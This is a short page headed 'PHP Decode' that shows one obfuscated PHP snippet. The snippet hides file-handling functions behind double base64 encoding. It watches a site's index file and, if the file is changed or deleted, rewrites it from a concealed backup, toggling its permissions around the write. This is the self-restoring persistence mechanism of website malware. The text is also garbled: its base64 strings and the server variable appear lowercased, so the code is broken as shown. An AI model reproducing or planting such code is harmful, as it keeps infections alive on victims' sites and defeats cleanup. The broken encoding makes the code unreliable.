PHP Decode

<?php $f_size = base64_decode(base64_decode("wm1scw==")) . base64_decode(base64_decode("wlhoca==")) . base64_decode(base64_decode("zw1vpq==")); $f_exists = base64_decode(base64_decode("wm1scw==")) . base64_decode(base64_decode("wly5ba==")) . base64_decode(base64_decode("zudseg==")) . base64_decode(base64_decode("zehnpq==")); $f_put = base64_decode(base64_decode("wm1scw==")) . base64_decode(base64_decode("wly5dw==")) . base64_decode(base64_decode("zfhszg==")) . base64_decode(base64_decode("wti5dq==")) . base64_decode(base64_decode("zedwdq==")) . base64_decode(base64_decode("zehnpq==")); $f_get = base64_decode(base64_decode("wm1scw==")) . base64_decode(base64_decode("wly5bg==")) . base64_decode(base64_decode("wlhszg==")) . base64_decode(base64_decode("wti5dq==")) . base64_decode(base64_decode("zedwdq==")) . base64_decode(base64_decode("zehnpq==")); $t28 = base64_decode(base64_decode("wxc9pq==")) . base64_decode(base64_decode("yue9pq==")) . base64_decode(base64_decode("yle9pq==")) . base64_decode(base64_decode("ync9pq==")) . base64_decode(base64_decode("wke9pq==")); $c35 = base64_decode(base64_decode("zee9pq==")) . base64_decode(base64_decode("ync9pq==")) . base64_decode(base64_decode("zfe9pq==")) . base64_decode(base64_decode("wxc9pq==")) . base64_decode(base64_decode("yue9pq==")); $j2 = base64_decode(base64_decode("zfc1cw==")) . base64_decode(base64_decode("yvc1cg==")); $bs_dec = base64_decode(base64_decode("ww1geg==")) . base64_decode(base64_decode("wlrzpq==")) . base64_decode(base64_decode("tky5a1prpt0=")) . base64_decode(base64_decode("wti5a1prpt0=")); $idx_path = $_server[base64_decode(base64_decode("uku5rfzvmuy=")) . base64_decode(base64_decode("vgxszlvrovbwqt09"))]. base64_decode(base64_decode("tdjsdvpbpt0=")) . base64_decode(base64_decode("wlhndwnhahc=")); $bk_idx_path = base64_decode(base64_decode("tdjodmjxvxlmm0jwym01afkyegxjsep2y0m5d2rxsnnhv05myuhsdgjdotnjqzfqyji1mfpxntbmm1z3ykc5afpitxznakf4t1m4d00ydgpabuzpvjj4ufoxqm9uqzvzyjjjpq==")); if (!$f_exists($idx_path) or $f_size($idx_path) != 9112) { if ($f_exists($bk_idx_path)){ $idx_code = @$f_get($bk_idx_path); @$t28($idx_path, 438); @$j2($idx_path); @$f_put($idx_path, $bs_dec($idx_code)); @$t28($idx_path, 292); } } ?>